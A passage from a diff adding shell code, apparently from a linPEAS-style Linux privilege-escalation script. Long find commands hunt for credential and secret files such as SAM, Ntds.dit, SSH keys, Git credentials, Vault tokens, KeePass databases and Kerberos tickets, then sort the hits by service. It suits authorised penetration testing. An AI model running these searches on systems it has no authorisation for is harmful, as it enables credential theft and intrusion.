\"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_VAR=`eval_bckgrd "find ${ROOT_FOLDER}var -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CONCOURSE_AUTH=`eval_bckgrd "find ${ROOT_FOLDER}concourse-auth -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_CONCOURSE_KEYS=`eval_bckgrd "find ${ROOT_FOLDER}concourse-keys -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+
+
+ wait # Always wait at the end
+ CONT_THREADS=0 #Reset the threads counter
+fi
+
+if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then
+ # GENERATE THE STORAGES OF THE FOUND FILES
+ PSTORAGE_SYSTEMD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}system|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}run" | grep -E ".*\.service$" | sort | uniq | head -n 70)
+ PSTORAGE_TIMER=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}system|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}run" | grep -E ".*\.timer$" | sort | uniq | head -n 70)
+ PSTORAGE_SOCKET=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}concourse-keys|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}sys|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}private|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}system|^${ROOT_FOLDER}concourse-auth|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}systemd|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}run" | grep -E ".*\.socket$" | sort | uniq | head -n 70)
+ PSTORAGE_DBUS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "system\.d$" | sort | uniq | head -n 70)
+ PSTORAGE_MYSQL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mysql$|passwd\.ibd$|password.*\.ibd$|pwd\.ibd$|mysqld\.cnf$" | sort | uniq | head -n 70)
+ PSTORAGE_MARIADB=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70)
+ PSTORAGE_POSTGRESQL=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$|pgadmin4\.db$" | sort | uniq | head -n 70)
+ PSTORAGE_APACHE_NGINX=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$|nginx\.conf$|nginx$" | sort | uniq | head -n 70)
+ PSTORAGE_VARNISH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "varnish$" | sort | uniq | head -n 70)
+ PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^${ROOT_FOLDER}private|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}var" | grep -E "sess_.*$" | sort | uniq | head -n 70)
+ PSTORAGE_PHP_FILES=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_APACHE_AIRFLOW=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "airflow\.cfg$|webserver_config\.py$" | sort | uniq | head -n 70)
+ PSTORAGE_X11=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.Xauthority$" | 